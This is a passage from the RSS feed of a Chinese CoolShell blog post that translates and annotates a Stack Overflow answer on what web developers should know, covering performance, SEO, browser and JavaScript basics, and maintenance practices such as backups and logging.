<li>学习如何 <a title="gzip content" href="http://developer.yahoo.com/performance/rules.html#gzip" rel="nofollow">gzip/deflate 网页</a> (<a href="http://stackoverflow.com/questions/1574168/gzip-vs-deflate-zlib-revisited">deflate 更好</a>).</li>
</ul>
<ul>
<li>把多个CSS文件和Javascript文件合并成一个，这样可以减少浏览器的网络连数，并且使用gzip压缩被反复用到的文件。</li>
</ul>
<ul>
<li>学习一下 <a href="http://developer.yahoo.com/performance/" rel="nofollow">Yahoo Exceptional Performance</a> 这个网站上的东西，上面有很多非常不错的改善前端性能的指导，以及 <a href="http://developer.yahoo.com/yslow/" rel="nofollow">YSlow</a> 这个工具。 <a href="http://code.google.com/speed/page-speed/docs/rules_intro.html" rel="nofollow">Google page speed</a> 是另一个用来做性能采样的工具。这两个工具都需要安装 <a href="http://getfirebug.com/" rel="nofollow">Firebug</a> 。</li>
</ul>
<ul>
<li>为那些小的图片使用 <a href="http://alistapart.com/articles/sprites" rel="nofollow">CSS Image Sprites</a>，就像工具条一样。 (参看 &#8220;最小化 HTTP 请求&#8221; ) （陈皓注：把所有的小图片合并成一个图片，然后用CSS把显示其中的一块，这样，这些小图片只用传输一次，酷壳的Wordpress样式的那个RSS订阅列表中的小图标就是这样做的）</li>
</ul>
<ul>
<li>繁忙的网络应该考虑<a href="http://developer.yahoo.com/performance/rules.html#split" target="_blank">把网页的内容分开存放</a>在不同的域名下。（陈皓注：比如有专门的图片服务器——图片相当耗带宽，或是专门的Ajax服务器）</li>
</ul>
<ul>
<li>静态网页 (如，图片，CSS，JavaScript，以及一些不需要访问cookies的网页) 应该放在一个<a href="http://blog.stackoverflow.com/2009/08/a-few-speed-improvements/" target="_blank">不使用cookies</a>的独立的域名下，因为所有在同一个域名或子域名下的cookie会被这个域名下的请求一同发送。另一个好的选择是使用 Content Delivery Network (CDN).</li>
</ul>
<ul>
<li>使用单个页面的HTTP请求数最小化。</li>
</ul>
<ul>
<li>为Javascript使用 <a href="http://code.google.com/closure/compiler/" rel="nofollow">Google Closure Compiler</a> 或是 <a href="http://developer.yahoo.com/yui/compressor/" rel="nofollow">其它压缩工具</a>（陈皓注：压缩Javascript代码可以让你的页面减少网络传输从而可以得到很快的喧染。注意，并不是所有的工具都可以正确压缩Javascript的，Google的这个工具甚至还可以帮你优化你的代码）</li>
</ul>
<ul>
<li>确认你的网站有一个 <code>favicon.ico</code> 文件放在网站的根下，如 <code>/favicon.ico</code>. <a href="http://mathiasbynens.be/notes/rel-shortcut-icon" rel="nofollow">浏览器会自动请求这个文件</a>，就算这个图标文件没有在你的网页中明显说明，浏览器也会请求。如果你没有这个文件，就会出大量的404错误，这会消耗你的服务器带宽。（陈皓注：服务器返回404页面会比这个ico文件可能还大）</li>
</ul>
<h4><strong>SEO (搜索引擎优化)</strong></h4>
<ul>
<li>使用 &#8220;搜索引擎喜欢的&#8221; URL，如：使用 <code>example.com/pages/45-article-title</code> 而不是 <code>example.com/index.php?page=45 </code>(陈皓注：这里的URL是说Wordpress的，后者是默认的)</li>
</ul>
<ul>
<li>如果你的动态页面要使用 <code>#</code> ，那么请把其改成 <code>#!</code> ，而在服务端，你需要处理<code>$_REQUEST["_escaped_fragment_"]</code> 这是Google搜索引擎需要的。换句话说，<code>./#!page=1</code> 会被Google搜索引擎转成 <code>./?_escaped_fragments_=page=1。</code> （陈皓注：通常来说URL中的#后的东西都不会被传到服务器上，所以，为了要让Google可以抓取AJAX的东西，你需要使用#!，而Google会把“#!”转成“_escaped_fragment_”来向服务器发请求，Twitter的大量的链接者是#!的，比如：<a href="https://twitter.com/#!/your_activity">https://twitter.com/#!/your_activity</a>）。另外，用户也许会使用Firefox 或 Chromium， <code>history.pushState({"foo":"bar"}, "About", "./?page=1");</code> 是一个很不错的命令。所以，就算是我们的地址栏上的地址改变了，页面也不会重新装载。这可以让你使用 <code>?</code> 而不是 <code>#!</code> 也能无刷地保住当前的动态的页面，这可以让AJAX的请求被浏览器记住。</li>
</ul>
<ul>
<li>别使用 &#8220;click here&#8221; 这样的链接。这样一来，无法SEO，而且对于一些需要使用读屏人来说很不友好（陈皓注：关于读屏软件，可参看本站的“<a title="如果你看不见你还能编程吗？" href="https://coolshell.cn/articles/5514.html" target="_blank">如果看不见你还能编程吗</a>”）</li>
</ul>
<ul>
<li>做一个 <a href="http://www.sitemaps.org/" rel="nofollow">XML sitemap</a>，并放在网端的根下 <code>/sitemap.xml</code>. （陈皓注：这个文件可以让搜索引擎了解你的网站图）</li>
<li>当你有多个URL指向同一个网页的使用，使用 <a href="http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" rel="nofollow"><code>&lt;link rel="canonical" ... /&gt;</code></a> 你可以使用 <a href="http://www.google.com/webmasters/" rel="nofollow">Google Webmaster Tools</a> 来查看相关的问题。</li>
</ul>
<ul>
<li>使用 <a href="http://www.google.com/webmasters/" rel="nofollow">Google Webmaster Tools</a> 和 <a href="http://siteexplorer.search.yahoo.com/" rel="nofollow">Yahoo Site Explorer</a>.</li>
</ul>
<ul>
<li>安装 <a href="http://www.google.com/analytics/" rel="nofollow">Google Analytics</a>  (或是别的开源的网站分析工具，如： <a href="http://piwik.org/" rel="nofollow">Piwik</a>).</li>
</ul>
<ul>
<li>了解 <a href="http://en.wikipedia.org/wiki/Robots_exclusion_standard" rel="nofollow">robots.txt</a> 和搜索引擎爬虫是如何工作的。</li>
</ul>
<ul>
<li>重定向请求 (使用 <code>301 重定向网站</code>) ，如果你要把 <code>www.example.com</code> 定向到 <code>example.com</code>(或是其它的变更) 这样可以防止Google的rank因为域名的变化发生改变。（陈皓注：301重定向一般用作域名变更）</li>
</ul>
<ul>
<li>知道并不是所有的爬虫都是好的，有些爬虫的行为并不好。（陈皓注：比如向你的网站发大量的请求导致服务器性能低下）</li>
</ul>
<ul>
<li>如果你有一些非文本的内容需要在 Google&#8217;s sitemap  中，比如视频什么的。<a href="http://stackoverflow.com/questions/72394/what-should-a-developer-know-before-building-a-public-web-site#167608">Tim Farley的答案</a>，可以让你看到很多有价值的东西。</li>
</ul>
<h4><strong>技术</strong></h4>
<ul>
<li>理解什么是 <a href="http://www.ietf.org/rfc/rfc2616.txt" rel="nofollow">HTTP</a> 比如 GET, POST, sessions, cookies等，了解什么是 &#8220;stateless&#8221; 无状态。</li>
</ul>
<ul>
<li>让你的 <a href="http://www.w3.org/TR/xhtml1/" rel="nofollow">XHTML</a>/<a href="http://www.w3.org/TR/REC-html40/" rel="nofollow">HTML</a> 和 <a href="http://www.w3.org/TR/CSS2/" rel="nofollow">CSS</a> 符合 <a href="http://www.w3.org/TR/" rel="nofollow">W3C 规范</a>，并确认他们都是 <a href="http://validator.w3.org/" rel="nofollow">合格的</a>。我们的目标是避免浏览器的 “quirks mode”，并且可以让其更容易地能和非标准的浏览器工作，比如读屏器或移动设备。</li>
</ul>
<ul>
<li>理解浏览器是怎么处理 JavaScript 的。（陈皓：你会看到有些Javascript代码在页面上前面，有些则是在后面，所以你需要对其了解清楚为什么是这样）</li>
</ul>
<ul>
<li>了解浏览器是怎么装载 JavaScript，CSS和其它资源的，了解其对视觉上的影响。（陈皓注：10年前我做网页的时候因为HTML还很弱，所以只能使用table来布局，使用table布局的问题就是整个table读完后页面才会显示，用户的视觉体验并不好）。在某些情况下，你可能需要<a href="http://developer.yahoo.net/blog/archives/2007/07/high_performanc_5.html" target="_blank">把你的脚本放在页面的后面</a>。</li>
</ul>
<ul>
<li>理解 JavaScript 的 sandbox 是怎么怎么工作的，尤其是你想使用iframes。</li>
</ul>
<ul>
<li>请注意 JavaScript 可能会被禁止，这样会让你的AJAX失效。就算是大多数用户都开启了Javascript功能，但是也可能在一些情况下脚本是不被运行的，比如移动终端上，搜索引擎抓网页的时候也并不会执行你的脚本。</li>
</ul>
<ul>
<li>学习 <a href="http://www.bigoakinc.com/blog/when-to-use-a-301-vs-302-redirect/" rel="nofollow">301 和 302 转向的区别</a> (这也是一个SEO的问题).</li>
</ul>
<ul>
<li>尽可能多地学习你的部署平台。（比如：操作系统，Web Server：Apache/Nginx，防火墙，数据库，等等）</li>
</ul>
<ul>
<li>考虑使用一个 <a href="http://stackoverflow.com/questions/167531/is-it-ok-to-use-a-css-reset-stylesheet">Reset Style Sheet</a>.</li>
</ul>
<ul>
<li>考虑使用 JavaScript 框架(如： <a href="http://jquery.com/" rel="nofollow">jQuery</a>, <a href="http://mootools.net/" rel="nofollow">MooTools</a>, <a href="http://www.prototypejs.org/" rel="nofollow">Prototype</a>, <a href="http://dojotoolkit.org/" rel="nofollow">Dojo</a> 或 <a href="http://developer.yahoo.com/yui/3/" rel="nofollow">YUI 3</a>)，它们会很好的兼容于不同的浏览器。（陈皓注：强烈推荐你看一下本站的<a title="开源中最好的Web开发的资源" href="https://coolshell.cn/articles/4795.html" target="_blank">开源中最好的WEB开发资源</a>一文）</li>
</ul>
<ul>
<li>把视觉效果和JS框架合在一起讨论，考虑使用一个Service，如：<a href="http://code.google.com/apis/libraries/devguide.html" rel="nofollow">Google Libraries API</a> 来装载框架，这样可以让浏览器可能早就把这个JS框架已经cache了而不需要再从你的网站上下载了。</li>
</ul>
<h4><strong>Bug fixing</strong></h4>
<ul>
<li>明白你会花20%的时间写代码，而80%的时候在维护，所以你要小心编码。（陈皓注：参看本站的“<a title="多些时间能少写些代码" href="https://coolshell.cn/articles/5686.html" target="_blank">多些时间可以少些代码</a>”一文）</li>
</ul>
<ul>
<li>设计一个好的错误报告机制。</li>
</ul>
<ul>
<li>设计一个入口可以让人们联系到你并给你建议和批评。</li>
</ul>
<ul>
<li>为你开发的东西形成文档，这样可以让后来的人容易维护你的软件和系统。</li>
</ul>
<ul>
<li>频繁备份（也可确保你的这些备份功能正常） <a href="http://stackoverflow.com/questions/72394/what-should-a-developer-know-before-building-a-public-web-site#73970">Ed Lucas 的回答</a> 有一些忠告。你还需要有一个恢复策略，而不只是一个备份策略。</li>
</ul>
<ul>
<li>使用一个版本控制系统来保存你的代码，如： <a href="http://subversion.apache.org/" rel="nofollow">Subversion</a> 或 <a href="http://git-scm.org/" rel="nofollow">Git</a>.</li>
</ul>
<ul>
<li>别忘了做Acceptance Testing，使用 <a href="http://seleniumhq.org/" rel="nofollow">Selenium</a> 能帮到你。</li>
</ul>
<ul>
<li>确保你有足够的日志，你可以使用 log4j, log4n 或 log4r。如果出了问题，这是可以让你快速找到问题的方式。</li>
</ul>
<ul>
<li>当你写日志的时候，确保你记录了你捕获了处理和未处理异常。报告和分析日志可以让你知道你网站的问题。</li>
</ul>
<p>这里有多的东西被省略了，并不是因为那些可能不是有帮助的答案，而是因为那些东西都太细节了，超出了这个问题的范围，因为这本来就是一个Web开发需要了解东西的Overview。我想你可以去看一下其它人的答案，我有时间，我也会补充别人的答案进来。请随意编辑这个答案，因为可能有些东西忘了，也有可能有些东西不对。</p>
<p style="text-align: left;">（全文完）</p>
<p><!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/9666.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg" alt="浏览器的渲染原理简介" width="150" height="150" /></a><a href="https://coolshell.cn/articles/9666.html" class="wp_rp_title">浏览器的渲染原理简介</a></li><li ><a href="https://coolshell.cn/articles/3684.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg" alt="Web开发人员速查卡" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3684.html" class="wp_rp_title">Web开发人员速查卡</a></li><li ><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg" alt="程序员练级攻略（2018)  与我的专栏" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18360.html" class="wp_rp_title">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png" alt="如何免费的让网站启用HTTPS" width="150" height="150" /></a><a href="https://coolshell.cn/articles/18094.html" class="wp_rp_title">如何免费的让网站启用HTTPS</a></li><li ><a href="https://coolshell.cn/articles/17634.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif" alt="Chrome开发者工具的小技巧" width="150" height="150" /></a><a href="https://coolshell.cn/articles/17634.html" class="wp_rp_title">Chrome开发者工具的小技巧</a></li><li ><a href="https://coolshell.cn/articles/11021.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/02/Github-Security-150x150.png" alt="从“黑掉Github”学Web安全开发" width="150" height="150" /></a><a href="https://coolshell.cn/articles/11021.html" class="wp_rp_title">从“黑掉Github”学Web安全开发</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/6043.html">Web开发中需要了解的东西</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/6043.html/feed</wfw:commentRss>
			<slash:comments>150</slash:comments>
		
		
			</item>
	</channel>
</rss>
